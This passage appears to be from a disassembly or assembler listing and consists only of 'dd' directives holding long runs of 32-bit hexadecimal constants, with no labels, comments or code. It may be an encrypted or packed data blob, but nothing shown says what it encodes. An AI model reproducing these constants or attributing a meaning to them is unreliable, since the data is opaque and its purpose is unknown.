0EDF2B45Eh, 67380DD3h, 0C76FFE60h, 80A1403Dh, 460C077Fh dd 24093758h, 1DBD6C43h, 6B5FC8BCh, 425502C4h, 97202AD3h dd 345A770Dh, 75E5A1F2h, 95F605E2h, 922370AFh, 0EBB33E48h dd 0A0C0B54Ah, 3D7649EAh, 0A6A69E9Dh, 7B9C32AAh, 0D87CBBAh dd 17A61737h, 0EFE7C0A7h, 0D57BDB01h, 0C3A5160Bh, 0F2ED0DE7h dd 9052FFC9h, 0E9CF2891h, 15E16041h, 25E4EEC1h, 9123B887h dd 96D1A8C1h, 0E84BB1DCh, 0B05D6446h, 0E55CF7B0h, 8E9EE659h dd 0CB58BA7Bh, 14A5C229h, 78ADD9D7h, 9C4EA071h, 4B0D6556h dd 0E74DB74Ch, 9C1877D5h, 55B85DF5h, 0ED20948Fh, 4539FE35h dd 0A8B83FBCh, 8252B625h, 0BCDC3864h, 0DBAE4014h, 0AB7EC0C3h dd 0C86F99ABh, 0B816B50Dh, 759D8B44h, 943BFE5Ch, 8EC20A49h dd 0F6C7CB78h, 8AA13428h, 768B41A9h, 1ABBA2ACh, 0F438B7BFh dd 5514561Eh, 0F8967435h, 81C4C2F0h, 15BB4670h, 81A7C28Bh dd 85F35FCEh, 82A92A2h, 0D93BF8BBh, 94FE219Ah, 5192A95Bh dd 0C6C956E0h, 279238F2h, 0BCD70E2Fh, 48B72F9Ah, 0CEBAB399h dd 0E24D4E3Fh, 12163C26h, 4320E8A4h, 0B9BFDD34h, 3DE24FFh dd 62BABC5h, 154BA5B2h, 0C2122A7Bh, 0FDA3C7E1h, 77FF3A66h dd 15D0573h, 816F7B9Ch, 0E1238AA6h, 7F599DF4h, 696AFE99h dd 0BFAC03EAh, 37ECCBC3h, 0DD942626h, 2C89977Eh, 0EEB40AB6h dd 0CF3CA348h, 0B8807AFFh, 0A75F03F4h, 3FDAF7C5h, 0D1987551h dd 41C7F51Ch, 20547FE5h, 7827509Eh, 36AFDA29h, 13022BC1h dd 24FB6D4Ch, 9493924Eh, 508EF817h, 0BC9A5264h, 2A065A83h dd 0C1FE5CE0h, 22BBB819h, 0F5F6C4Dh, 45BFDF3h, 6E3B7A69h dd 461937FEh, 4254C4DBh, 63E81371h, 0D0888003h, 738E04F8h dd 3B2D9C52h, 0A25F499Eh, 159852BBh, 72EE4E86h, 772F58A3h dd 0B51F5601h, 0B01C6C94h, 0A8374C3Eh, 664DA11Ch, 8085BC7Eh dd 59479DA3h, 7BF94650h, 0A3A44278h, 3C9683F0h, 1B077D39h dd 0F1C4B952h, 63AEE27Bh, 5B3D5DE9h, 35C15B43h, 0A26E7E10h dd 7BC68BF6h, 0F9E6D801h, 6068928Bh, 8E79415Dh, 9ED37D44h dd 10EE7D42h, 0F858A4FCh, 0E0AED7FAh, 0BD2E5836h, 473E2CDh dd 0F1748A4h, 8BCC63B6h, 0F69E309Bh, 0C9A8A93h, 0FD1F6008h dd 9C8BCEC4h, 3F03A3C0h, 7A13E88Eh, 7D008A32h, 14045AF4h dd 34A70666h, 0C9C39AE2h, 307BC2E3h, 0AEBDF7D5h, 0F16A2DB3h dd 51A91BF4h, 0EF3C934h, 0B806F124h, 7CAAA932h, 7654A8D8h dd 28B0678Eh, 76E931ABh, 67017451h, 0A3DC5B29h, 397F82Ah dd 0E269F8D0h, 0D3F03466h, 2605A748h, 59F7B39Dh, 0F6AFBCA3h dd 0A585B9F2h, 7936996Ah, 229D9F2Ch, 3AD2462Ch, 1CCF9CAFh dd 8F3AF7EAh, 5BC213E9h, 4137368Bh, 0AF336B7Ah, 0E36FDB3Dh dd 489D756Eh, 0D3A3E74Ch, 9F02E10Eh, 68526D3Eh, 3A02EE70h dd 3A726AFh, 0F83D89D4h, 2D6ECDA8h, 2CAC1E02h, 142EB66Fh dd 274065F7h, 0AAB5AEF3h, 9B7C55A4h, 6100C2CFh, 0EFDCEBB3h dd 0C4D4B3h, 9EA303C3h, 0C0C5BABh, 0D490634Ch, 5102323h dd 0D17063EAh, 529B8807h, 6DCD5161h, 8CC0840Bh, 5368130Fh dd 37F344B7h, 416748EBh, 0AF041F9Ch, 0E27FFFD8h, 3B561A25h dd 9F656453h, 85D7DDACh, 0F567145Dh, 49DC5E9Fh, 9F924725h dd 0A40A6A7Ah, 636EC4FEh, 8E6BB6E7h, 7A17084Dh, 56999089h dd 0B8D15786h, 92DBFC1Bh, 0F81F5843h, 158D2CD8h, 8D18527Fh dd 4EE4A546h, 5167E4F5h, 39B7569Eh, 0A1C37EEAh, 0FC1A52EDh dd 89A3B07Dh, 22E2Bh, 0BCDDF614h, 981DAB1Bh, 4F1BCDDCh dd 43495DA5h, 6AA8E461h, 33CA4E80h, 0B3A8860Dh, 56A96A98h dd 41C463E0h, 0A29B650Bh, 67DCCB29h, 8A5FD4F9h, 52A052B4h dd 0E29013F6h, 0A8AD56A2h, 0EAFA63Dh, 0A9DA090h, 0E21C139Fh dd 0D67DA005h, 3F341994h, 0D15EF9D6h, 6B121C64h, 138D0E40h dd 7DC27C1Ch, 8E13DC51h, 3F27BC15h, 42C44C0Eh, 0FF958AEBh dd 0AB7758Bh, 1692D054h, 0FD456949h, 8D46FABEh, 3F75E3C6h dd 958BB7C3h, 78F75C68h, 4638576Ah, 0BBB49A33h, 1218B649h dd 5E000B4Fh, 0B50F5EB3h, 4D81FDAEh, 0E2F58830h, 0B7B70BD9h dd 7F8ED897h, 0F2CCACEDh, 0F4AC16A0h, 63399084h, 3185135Ah dd 0F43D100Bh, 89A87D83h, 0E4A3A042h, 756DAB3Ah, 0EF98BBC4h dd 2088B1B3h, 0D919F3FCh, 8C69B84Ch, 3E7A4AB0h, 0E727BB87h dd 0DD185FA8h, 90E36308h, 2B771BD3h, 923F91AEh, 4C7122B6h dd 2C541739h, 0A11A1D0Fh, 4B516E56h, 20E39335h, 89F9088Fh dd 0FEB0BA8h, 0E72511F5h, 36866B9Bh, 94C68A99h, 90C59D7Ch dd 0F4A24F58h, 0F3CD4766h, 0FE26D5C6h, 0D5C3389Dh, 87024B72h dd 0E688F6B0h, 2877AEB6h, 0C38DE40Eh, 0AFF8342Bh, 5D316F8Dh dd 0C98711DDh, 0D9D9CF62h, 0B4AB0754h, 0DDE59580h, 0AF44D2C1h dd 133266ABh, 599B5455h, 5BAD2480h, 3D8EDAA2h, 94649FBh dd 0BE542E8h, 0C148DBCBh, 7CA14E92h, 33A94A8Fh, 0EF89160Ch dd 5233A9D2h, 0D32613F0h, 6C1D0003h, 6AC94CFCh, 0B678C325h dd 99868F6Dh, 9E5A9B3Ah, 54EB38Fh, 94C97972h, 6DC030E8h dd 13023FB8h, 0BD4908h, 5A280619h, 0D453FA9Bh, 0C5198E94h dd 0C98868BCh, 91E9FDA0h, 4EBDA669h, 0D0978EBDh, 4D11C395h dd 5777D5CEh, 6560F555h, 4FAA0D52h, 77A4E169h, 0A2BCFCCFh dd 3ED435ECh, 1B67336Dh, 0F090AEEDh, 5D7EC2EBh, 0C1ADABADh dd 7BA45F02h, 3F96EC72h, 0B8830B88h, 0FA6B0208h, 0C70B5F90h dd 0B5C1A14Eh, 602D0358h, 4CDEC9CDh, 86696756h, 0A881B488h dd 816FFE49h, 0AB4B2119h, 0FF42AF6h, 0E4B47417h, 7796F18Ch dd 0D08A0617h, 8933C592h, 0BE221A7h, 18C18018h, 7C533AB5h dd 94B422E1h, 37765D0Bh, 558E9033h, 70CA0316h, 966C08B0h dd 197B34Eh, 0D0155262h, 2A27935Fh, 1422AD09h, 2EF7F64Ch dd 6A22283Bh, 30EEB256h, 97E3A96Dh, 3C1DE4A9h, 87A6E4BAh dd 5E23DCEAh, 53B0D179h, 0B3CBC162h, 0ACAE29B4h, 295A5DBDh dd 7DD03DBCh, 0D1B8B514h, 43B4C4ADh, 8BE539F6h, 7D392A67h dd 0D71FDB9h, 3F6D2064h, 0F370B3F4h, 0AB52B91Dh, 2AA52131h dd 0A418773Bh, 162D8F0Ch, 4AEE99FAh, 460EF15Fh, 0B3F815EBh dd 0BD9AF40Eh, 0C7989D98h, 0CB7EC81h, 0D2DD781Ah, 333E9926h dd 0E02571F9h, 42A3E951h, 9DA07E45h, 0BAE62A9Fh, 1A7742DEh dd 95C2ED6Eh, 732C06C3h, 5ED91B66h, 7FD3F685h, 1D6FF819h dd 919EB606h, 0D0F0F5BEh, 0C65B1ED0h, 1E898CB1h, 79B6A1AEh dd 197E792h, 2DA1FCECh, 84693807h, 5DBCA71Dh, 5DDEC12Dh dd 8C4C1787h, 0A7DEA3D8h, 0B8CE62F5h, 89C83332h, 1E07A254h dd 18F2643Ah, 0BF69DC6Ah, 3E31FC71h, 115BEE35h, 5EEF9441h dd 0B7FE2039h, 65E7C2E5h, 7E797D29h, 94F4A77Ch, 85BD99F5h dd 0D4F95BBDh, 0CC9296ECh dd 1F7867EAh, 0F6211B5Ch, 69E2FCh, 2C35AC7Ah, 6A646932h dd 2254D78h, 9036E479h, 65EB47A1h, 0A1AC8FC3h, 0AD217D36h dd 0E47CA4EFh, 91554D42h, 0E181D7F5h, 8A12A279h, 7593B537h dd 0E411AE98h, 310C1D6Fh, 5F14F65Ah, 0C0DCE4ECh, 8406E3DCh dd 0A4AE22C8h, 56878830h, 864541B7h, 0BB27F00Ah, 5D3BCDA1h dd 7BC145Ch, 0E59C620Ah, 50BA874h, 46412DB5h, 88D0EB08h dd 6CD94873h, 945AF951h, 0A84B3D61h, 0C0666DAEh, 30044F50h dd 0B26B72D3h, 0B4981346h, 6A5779C1h, 0F051BD7Bh, 0E9B31888h dd 3906E57Bh, 8ED880Eh, 23C3A3D6h, 80E3DE45h, 687B54A0h dd 1B7FEF28h, 0B366A58Eh, 0B10DE5B7h, 79C2562Dh, 0F43A41D6h dd 1AF1CA27h, 1BDFD1FBh, 773306D6h, 120A4098h, 0EC250FBFh dd 151C5572h, 8F2194FDh, 477A1927h, 0EF575815h, 0A371DF1Ah dd 1378D8DFh, 331817FEh, 0E0510033h, 0AFE53E25h, 7960D8D9h dd 9CCBAC7Fh, 0E3927E97h, 0F4D9DE19h, 73C03710h, 0F4F401DEh dd 7B95553Bh, 7A8A92D0h, 859531EBh, 0DEE57721h, 0F9AB3C03h dd 43026A37h, 0AEC8265h, 0D6B5C621h, 0ECA84E54h, 1F4F1137h dd 0F133EA7Ch, 9B53436Eh, 24BF1195h, 22D33800h, 54C6AB84h dd 0EBB91B6Dh, 58B6D706h, 5C0835C5h, 640B39BAh, 3F9AFE14h dd 1C6074FEh, 0DD561FB8h, 0B38F7307h, 540F5B1h, 9F56538Bh dd 0C2BF297h, 0C3B5EADh, 86D32B9h, 0D740B51h, 3E2613A6h dd 389A8AC7h, 5379E0E9h, 86C953A1h, 76C6529Bh, 0EF4375B1h dd 0B224E851h, 99573E75h, 26B4A265h, 6A02D3B9h, 3BD4D0B7h dd 809A1CBAh, 73F19931h, 95D0573Ah, 3BC4B1B9h, 0A483EBD8h dd 50F3EEF4h, 7A6661DAh, 0DCA4B0C1h, 1B8F8B01h, 7F1C2A3Ah dd 281F4873h, 0E5D443E2h, 0E0746C23h, 0AB146533h, 578643FEh dd 9CA5456Fh, 0F0F3DD95h, 41F989ADh, 43623F84h, 51AF1F93h dd 4713442h, 418F5F1Ch, 37C5AFAFh, 0F7FADA0Dh, 0AB4F3B8Bh dd 0E0CE427Eh, 7F04A8A2h, 69E72002h, 0DE7D2BCAh, 0AB9BC291h dd 9912E191h, 12921DFFh, 0D4FB3E19h, 2CC9D976h, 8719DA7Bh dd 0E81EF242h, 84A9B3AAh, 0AD5F9BE9h, 394087A5h, 65A1BBE5h dd 0A3F9901Bh, 29067C96h, 628C53E6h, 58695EF2h, 853F41F9h dd 264D1B8Eh, 772F36ECh, 0A7E78A30h, 22F5D096h, 71255063h dd 77A42BADh, 0CD1A0978h, 0D1A59D77h, 9D9A52BEh, 8D4DF0CAh dd 0C34B9B26h, 0BE572422h, 395F626Ah, 0C2965BE9h, 6270AD78h dd 0AF23160h, 7F908D1Bh, 3F2A9AB8h, 0F34C2CFBh, 0C9F2052Eh dd 5F1A1EFAh, 0F3233A2Eh, 377A9002h, 0B697D5A1h, 0FC4EDD82h dd 7FBF8732h, 1941E423h, 0B20F7C5Fh, 74636210h, 58572C3Dh dd 0AA71C62h, 12A92AA9h, 0F3F17B62h, 4A13970Ah, 0F8C0A626h dd 8330780Ch, 1CEA3961h, 87EABDD4h, 51BDCECh, 0FE9F5A82h dd 2113F093h, 0B9E2903Dh, 4416E944h, 7E2323ABh, 2B0EC413h dd 131176F7h, 0D6A24EB7h, 0E197E47h, 0B33A7601h, 67E46C85h dd 65662CA0h, 0B27A05DAh, 0FAAE58F0h, 837FA5E7h, 0C26CE955h dd 0F55992F6h, 14552CF6h, 220E870Eh, 7FFE7640h, 8933FA27h dd 0F14D880Dh, 2BF0BD7Ah, 8378C38Dh, 66647E34h, 5927AD3Fh dd 0AB02502Bh, 0EC916942h, 0C2A78523h, 0B7C441C1h, 0CE3CEAC6h dd 888AEA6Eh, 0F5EA15BFh, 2B8622D4h, 4C65B9Dh, 8A432175h dd 26F14185h, 6E6BFA4h, 9590015Bh, 0EE33058Fh, 14C8D8E1h dd 48AC61F1h, 6BC03453h, 9A68F760h, 0B7F97A72h, 1F7E7A5Dh dd 0D2295D4Dh, 8006C288h, 33080F22h, 0FC50FA01h, 0F6072CCCh dd 0AF063FE4h, 0F762D90h, 9EDFDF7Ch, 329892FFh, 33D4232Ch dd 0F72844E0h, 9FC55E7Ch, 0EAB6F385h, 0B4A17477h, 0B5FB2FD0h dd 0CBDAEEBh, 8B92831Eh, 0A66E2381h, 0D4F08CE3h, 0BE352F50h dd 0A103689h, 9F5BCB8h, 0D7BA1498h, 6362EB5Fh, 51CB1DA0h dd 208A331Ah, 6EF36526h, 436C0386h, 0ABAE26BEh, 7DB16399h dd 0E75F0197h, 0A3EA3C60h, 3606F54Ch, 0F1404BADh, 0EA6E3EB9h dd 37D7B84h, 6322A81Bh, 3B87194Dh, 98F8FA88h, 0E27E200Fh dd 94C065A4h, 7F4292B4h, 0DC51838Ah, 0D938436Bh, 63A9272Ch dd 0D7237F2Eh, 6FA98E66h, 3BC50651h, 9CAF347Eh, 8993CDFBh dd 14C2D7D1h, 2134B307h, 0DCF5F60Ah, 0B35A38B0h, 4440A923h dd 0E16AA410h, 44BEE2F0h, 0A74FFD4Dh, 83520D3Fh, 243AC31Eh dd 94A73153h, 0DA8DE315h, 9C35D1AAh, 0CEBBE819h, 2200D0C7h dd 9064FCDAh, 206E9739h, 2B702FF8h, 0BA18F6AFh, 0C014DD5h dd 71BF4C41h, 0AD2C2405h, 8C0F9CE7h, 0FFDE281Eh, 50D8B530h dd 6FBA7D1Fh, 0A5F9C1B8h, 36A0A754h, 0CFF55592h, 92A50A71h dd 21BEA1D8h, 768E6B5Eh, 8844C366h, 5D083C1Eh, 3B595BE4h dd 50C0976Fh, 0C664D97Dh, 0F753D4F4h, 0A137D87Bh, 6A1AD3D3h dd 0FA578DEDh, 8B9230CDh, 0A50A54CEh, 8C81C78Ch, 0BECE0F4Ah dd 0EBDC0B6Ch, 71CF6859h, 0BD9C1679h, 68EFE486h, 0F12494D6h dd 9D331582h, 188F7F2Bh, 6F34949Bh, 0AFA0BEE6h, 2E43A5B1h dd 4AD939Ch, 0E303BDDBh, 41C9480h, 0FBAE330Fh, 5B6745A9h dd 0E0076F1h, 2DC894F7h, 19F8CFDCh, 0D03FEB7Fh, 0CB066998h dd 827B51E3h, 0DDBF99D8h, 69CEB167h, 0F9BE847Dh, 4EEF406Fh dd 829FC899h, 91569488h, 7EEEBBDBh, 0BD320767h, 0FB3F3649h dd 80C19E39h, 92020D8Ah, 8B136CACh, 926C87F9h, 0B761E832h dd 0F250E89Fh, 937DDA2Eh, 8A726C61h, 27A89FEDh, 0D10796F6h dd 37B5F1AAh, 18A53169h, 0A75D5423h, 0B28BEA07h, 0FAC0AA5Fh dd 2C87E251h, 0FB9038CBh, 0BBBC93E1h, 1F4E3A57h, 3B73C57Fh dd 0B877EC68h, 6F9A7EECh, 5D89F8FFh, 0FAE0A178h, 0D87DC2ACh dd 52B9F255h, 5B9B3D64h, 3128862h, 1A58CBC9h, 45C3FFF7h dd 0EE84B7F6h, 58765BD5h, 76B41637h, 9C0058B9h, 0B3C42B3Dh dd 0ACD1B0CAh, 0A0A7F0EBh, 464B151Ch, 5D661289h, 165FE6B9h dd 48B5B210h, 0B08CC8EEh, 8D9BBFDAh, 6F5B0FDEh, 418DDF2Eh dd 0E0034379h, 5B8A5283h, 37D57263h, 0A8B8B7A1h, 0B2C44322h dd 0E5E3A089h, 86C5350Ah, 65DE9E7Bh, 0D80A0FA7h, 1D511506h dd 0A5116067h, 0E9874C66h, 5318FCB2h, 6DD1E2C2h, 0B76D8FAEh dd 0BA226FD0h, 0FEC8FD8h, 6B73A7FCh, 0D9DAD3ECh, 0AB486535h dd 0E87248A4h, 0A20C16A9h, 0CC239007h, 17DFD1EDh, 34E9F5D7h dd 7D126C5h, 978A7173h, 0A37AED5Dh, 35CE1A95h, 0E0F682A6h dd 5F76D022h, 0CA4A3B3Dh, 57C059BAh, 1A384E07h, 8A8C9E74h dd 0E3CCAD27h, 436E8A70h, 0E2C347B7h, 0C9823283h, 0A91EBD64h dd 3738AC5Eh, 0BB02F120h, 7515B71Ch, 14BAAF4Eh, 8DCEDE1Ah dd 0BD339137h, 6F3FC6FBh, 7A4B8ECAh, 86AC8A4Ch, 7D583D22h dd 0E25F54A9h, 0FBE60FDBh, 6478E5E6h, 9506621h, 0C9154F83h dd 0C136B6ABh, 574997DFh, 7E7D913h, 2F80B5B0h, 29F24968h dd 9EAB84B6h, 0B9A7030Ch, 6B53946Ch, 6C2DD05Dh, 0EB82BB7Dh dd 0A4472960h, 36A8EF2Bh, 5D4D0631h, 5936C55Eh, 8F09B6B7h dd 0D384D9BEh, 4BFFE634h, 4C3DEDAh, 631B7D74h, 5EBB9A9Dh dd 0C1F3A24Dh, 3E680341h, 0B2076B1Eh, 0B3651135h, 8CB820C0h dd 6063F797h, 0EB99A278h, 0CE5BA197h, 0C036F043h, 34473EFBh dd 9D5F958h, 0E749887Ch, 78EC77A8h, 0FF268D4Bh, 3253ABBDh dd 15AD64B0h, 7D1353B7h, 1A0F84DBh, 0A7343205h, 21A4CD2Eh dd 73ACFF2Fh, 4EFC1A6Ch, 634ADFAFh, 2EE9FE7Ah, 0ED4B82E8h dd 8F3B340h, 0F8C3F762h dd 8CC7F0B0h, 5BBE8269h, 0B6885BC7h, 0BD2D0870h, 7101DF78h dd 1CFE4E40h, 0C049FBBBh, 256DDD2h, 67BA77C8h, 20FBDE31h dd 0DE0924BCh, 0E6120BABh, 4E0FBE05h, 0E6F01B9Ch, 328BF150h dd 0A8C51F67h, 1152DD37h, 0C6406501h, 91E7004Eh, 558C3E7Fh dd 4712CAB0h, 0C3D5A1BBh, 3AA324CDh, 0F3FAF485h, 9E5E13A9h dd 0CB873D20h, 0A94F5DCFh, 808780E8h, 940CEFB2h, 0FC5F38D7h dd 764B3698h, 0EE4776B3h, 8FECDBAEh, 930A78A1h, 0C68A67C4h dd 89BC024h, 0F6AFB03Bh, 0FDFA926Fh, 0FD046382h, 0D21E9AC0h dd 732FC288h, 3DDAF667h, 2DC15ADDh, 160224F3h, 6B517C19h dd 49C4A3C9h, 0D29B7C8Ch, 0CB798B20h, 466FDD81h, 8BA1AF19h dd 8D24C72h, 0E968B8ECh, 0DE6F6FE1h, 0E3C58241h, 87D4C479h dd 0A49AF862h, 0B4A2D6CFh, 6A940F4h, 0A004433Ch, 68C97E5h dd 41EAA6A2h, 5E4FFF85h, 0D8D4FB12h, 711E76BBh, 79223E9Fh dd 0F0691B6h, 9BC1FCA4h, 0A9CFA7C5h, 0AF968515h, 95C962CFh dd 716D857Eh, 20DFA5BCh, 8F7B5367h, 1A8DC2B9h, 37318B47h dd 9232E03Fh, 0E7718223h, 0DAA6191Ah, 9341214Fh, 0B8B55AD1h dd 76D6B2E6h, 0F16FD01Eh, 59A821Eh, 0C15A48CBh, 0FFBA5BCh dd 0B39B944Eh, 8B35E2CBh, 1B1332D2h, 0E699F2CDh, 0A70FEDC2h dd 2B3E8F9Dh, 28302F35h, 0E9C887EDh, 0F40654D9h, 5E1272C1h dd 6276F364h, 44EBA21Bh, 0E184DF56h, 0AE6FE5ECh, 0F185C6A5h dd 1258C259h, 22E99DC7h, 0CAA5C089h, 6D14729Fh, 8D7E6E1Ch dd 1FA59DB1h, 15475F88h, 239E5AADh, 0A8B75C70h, 0A0A69B24h dd 124E3075h, 6B1A881h, 0A7E06C69h, 0DD3F98F8h, 0F31395E9h dd 50D9F8C1h, 0B69F107Ch, 0E937FD2Fh, 0EAE947ACh, 0DCCDED71h dd 300036F8h, 920D1897h, 7F74BBDBh, 4EE494A4h, 0F92582ABh dd 23EB5896h, 0E8330CE9h, 2B76831Ch, 0FA452F43h, 8FF60B9Fh dd 502D682Bh, 10CD42EDh, 0AA6703D5h, 87FF9B0Eh, 4394BF6Ch dd 0A0614D33h, 59E8BAFCh, 411A69BBh, 0B2CA9366h, 0AA5B674Bh dd 0A162541h, 7FAC01Ch, 3B48C9FFh, 6E60510Ah, 0BB7A4F9Ch dd 64A6DED8h, 9013399Ah, 0DBED5E70h, 0DAB70543h, 6FEAEA5Ah dd 7C41C9E0h, 52607D34h, 7501E0E3h, 619606D3h, 0B65EFA1Ch dd 5A8EE17Bh, 6DE4481Dh, 0A9B1FD8Eh, 0D9EEA8D4h, 62294DEh dd 0A7666FD0h, 0A0DF8692h, 0D1182EB3h, 83CFEC0Dh, 8CF079C9h dd 4E9EC8FCh, 266E2D59h, 6593F937h, 79A2DDA1h, 0FCCAB9E0h dd 2B139B42h, 0A0BE3CDDh, 8C0A2555h, 0C3B1A573h, 80F88DAh dd 1031CA0Ah, 75E01F94h, 7A96AB6Dh, 0F05EE2E6h, 0E8C9E336h dd 1F054D65h, 0FA855FAEh, 2AD4D71h, 0BA14E123h, 0FB26D355h dd 2DBE7EDCh, 21DE4E9h, 0D6CE3669h, 16D1543Dh, 29604078h dd 77CDAA54h, 1147609Ch, 81F2D842h, 9CF035BFh, 35BC1BCFh dd 0D917B0FEh, 0A5D3E98Ch, 3A2A8A09h, 999C1839h, 39358A26h dd 0D6A1D6D0h, 1961F6Eh, 19EF2433h, 1162BF2Bh, 17F41227h dd 4D0353ECh, 0C3180793h, 34BE0A90h, 0D78D4DEBh, 0D92F8A41h dd 0B8724D7h, 0B91A0FBAh, 0A7F263Dh, 0CA82C561h, 84B80A1Dh dd 6247806Eh, 0E7F86AC6h, 0BD862116h, 6245CDB9h, 943CCA39h dd 60E50AFBh, 0D497E62Ch, 0A35E68ABh, 45AA37Dh, 8F295C55h dd 0AE07410Fh, 0D73B526h, 0DF6F7092h, 5139BD9Ch, 5C2C972Fh dd 0CC1A3C33h, 622B1EFh, 2A173931h, 0A05C169Ah, 26D1B0C7h dd 1EFF766Fh, 2470C904h, 8F536E5Fh, 5C599D7Bh, 0B23A94B6h dd 27D8C1EFh, 0A1F419CAh, 6CF294EBh, 22FBDD13h, 3455EF5Bh dd 6245C2D3h, 79B78541h, 0AE56ADE9h, 396A12F1h, 0F596BCEh dd 0F81324A1h, 5F7435DCh, 249A86DFh, 4A356A06h, 0B4A4F5D2h dd 75B4C590h, 0D34FA492h, 9FAF2A1Eh, 59D53250h, 9F94B2FDh dd 1D22BC71h, 5D596259h, 11F47537h, 5907BB2Bh, 5CE5F82Bh dd 1CA2672Dh, 0C24AD807h, 5BB27B3Eh, 6A79266Dh, 0F309739Eh dd 868AB700h, 1219A51Ah, 490924DAh, 20BA9428h, 0A816C765h dd 766B7E2Bh, 113C36Eh, 8DB8BAE3h, 2C4261E3h, 0FC7A2201h dd 0C1533ADFh, 75A4FB6Ch, 2E952CCh, 2AAFF1BEh, 0A91879F2h dd 335D6615h, 76ECB878h, 4F515520h, 163E54D7h, 75B1716Ah dd 52F14875h, 7B44C2BAh, 76493A9Eh, 57DEC831h, 131EE1EDh dd 752541A2h, 68C94F44h, 0F82205CFh, 8B4AE582h, 5C90F9B2h dd 74E6FC52h, 6DBBFCF8h, 0F701531Bh, 52E780B3h, 2C7A7F8Ch dd 0CB256DD9h, 82846125h, 0D56581FAh, 98188720h, 0A4C20BB7h dd 5211587Fh, 49B272B8h, 32668E77h, 7171A85h, 8ED7687Ah dd 59E95BB7h, 0AD65E043h, 8034D75Ah, 135F7651h, 28F2CCCDh dd 8F5BC3C3h, 0D85C1A24h, 467346E0h, 0BCD982AFh, 6536F1E6h dd 0F13299F4h, 495F68F9h, 0FFAF455Fh, 5FC0B174h, 0B787ED17h dd 37468942h, 448063BCh, 0F56FC00Dh, 0A6BB3FDFh, 0E0F7C78Bh dd 6D207D03h, 5527B359h, 5D4F52C2h, 0D2A43C71h, 8DDC8BFAh dd 73933FD6h, 12608188h, 301EECA4h, 97922D53h, 0F4D14713h dd 0AC0719DBh, 8B381284h, 6A680331h, 2FC4840Ah, 6AC4FF7Ah dd 615113DCh, 7D02E2D1h, 289B2187h, 9F1276Bh, 0D273C77h dd 0BB5BBB57h, 16D05C2Ah, 0D46820F7h, 0FDAF28Bh, 0F6CAAADh dd 868F8F0Dh, 0DE21CF7Eh, 1DF28B0Dh, 0AAC195F3h, 312F106Fh dd 0F70751B8h, 8519C300h, 8FECA504h, 36376EF6h, 0A045DB1Bh dd 690B087Fh, 43AA12B9h, 2A3D958Dh, 6E889B0h, 7752AB25h dd 0BE7E5527h, 0E4A1FF86h, 0B1883AE2h, 9F3C106Fh, 8694AC82h dd 0AE0D2C19h, 0C0BE4121h, 0AC4BB7DCh, 0C10B80C7h, 27F1BC88h dd 3BF0E29h, 10FA0AC9h, 8B24901Eh, 0A51374A9h, 56AA0765h dd 0F32BB1E6h, 5642532h, 8BCADA14h, 0F703AF04h, 0B0718092h dd 0E0A53692h, 606A60B1h, 38A7B2E5h, 0BD2BE6F6h, 92A52C2Eh dd 0EE0FF825h, 3B0446F0h, 7F64AC30h, 13F74286h, 0B55BA963h dd 7D1BB8DDh, 8EAEB2AAh, 0C34E18E2h, 2C737DE3h, 5EEAD9ABh dd 549F2D85h, 0AE477BFEh, 0C4153B2h, 371D8BBCh, 0BE0D519Bh dd 81C1769Fh, 0F82A7F4Bh, 0E470A89Ah, 31B420F7h, 48ABEB98h dd 3B0ABDB3h, 10DB9BCAh, 0AB51D2E5h, 351158C3h, 33A9F399h dd 0D45620B2h, 73DA7E3Ah, 0B83B1964h, 0B6146F30h, 0F85DD313h dd 22291331h, 0A0747BF0h, 0E5BFD69Ch, 90BA22DEh, 0D4A36C82h dd 900D60F9h, 4CCAE8ECh, 84396E2Ch, 0AAAFDD86h, 10216C53h dd 830B7070h, 7EE1DF13h, 0DFFFEAFBh, 7B6F22DCh, 0CA6516D3h dd 0D517B029h, 42215387h, 4A25917Eh, 9CD586DDh, 9B458Dh dd 445F4142h, 76840B67h, 0CEB41AD5h, 450DEBECh, 8F25F96Ah dd 5C0B4456h, 130DD9A2h, 0D91E5AFBh, 0D224F90Bh, 0D54C0210h dd 62C20D04h, 0B0AE4C5Bh, 31DC2E2Bh, 0F80AE12Fh, 5E3A25B2h dd 246026F5h, 6AC23FC4h, 610D61EBh, 67615208h, 0D36BD138h dd 0CBC7D2B2h, 0C04BE91Ch, 0EB536F4Ch, 0F8792462h, 0DAAE4E2Eh dd 7317ABABh, 0DFD0C666h, 22624C75h, 2A6769B3h, 0DE036EC1h dd 9F3BDE38h, 0A8154708h, 0E5DE1AA8h, 7B8B12C5h, 41643F3Fh dd 0B1AEA9B8h, 5B6AA6E3h, 0E0CBF83Ch, 2EB033C1h, 212F73FFh dd 7462AA8Eh, 0C631EAEBh, 0BDD16B8Fh, 6D4900DEh, 0F6DE6001h dd 0E4FC5B09h, 44AA6C19h, 0A8B7AB24h, 0E7599E4Ch, 0D8D10D6Bh dd 0E1560222h, 297CC178h, 620AF086h, 50B95F6Eh, 993DF6Dh dd 90DA0460h, 41CB9130h, 9488DC56h, 6E0789Eh, 418D650Fh dd 225FA3FAh, 526DC0AFh dd 8CE06F35h, 295CA252h, 0AE29E080h, 2CC0DD8Fh, 8FCC84D2h dd 669ABACh, 0F55DA87h, 0E6D7A6D1h, 50DFA39Ah, 0F7762103h dd 0C7F892BAh, 0F83E6C2Fh, 4E1AC02Dh, 0AA5FBCEEh, 57BEC42Ah dd 0CA814AB8h, 2289FCA4h, 93FE5272h, 0A110569h, 0F39C0465h dd 83A36507h, 0EEE011A6h, 32959135h, 6FA7D3D4h, 0F202542Ah dd 4EA0B71Ch, 1E0813D9h, 328D1EE7h, 7080130h, 93759719h dd 0C35173A4h, 22D02B49h, 9FB7D536h, 408F76E0h, 0A2F48CEFh dd 3A44751Bh, 0C7A47C70h, 71FF5AD8h, 0AA1A56C8h, 77B7CC6Eh dd 28D35902h, 1E332477h, 9D3BA563h, 7EA47311h, 977A7782h dd 4446EE01h, 6B389B83h, 80411B52h, 32BCB32Ch, 0A1597D6Fh dd 739B216Dh, 0AD80EDA1h, 3D295A06h, 25929420h, 721C021Ch dd 0A07EC052h, 2A8CE467h, 437AF895h, 77A29EF3h, 0C8063C18h dd 8DF8C869h, 461668A7h, 0A085758Dh, 0FB773CECh, 7C12FF54h dd 0C0F662Fh, 550B092Ch, 0B7453080h, 9477C148h, 13E0B86Ch dd 7D8641h, 0AF5B1B89h, 3358EA2Bh, 1F4BDD12h, 0A078B35Fh dd 6362B053h, 0D79C7262h, 0CB025C1Fh, 35DA5314h, 958EBC6Eh dd 87486860h, 0ECDD57B2h, 63BFD647h, 22C08897h, 0BA3134CCh dd 6BF9D8D8h, 0EF337732h, 0A5302B52h, 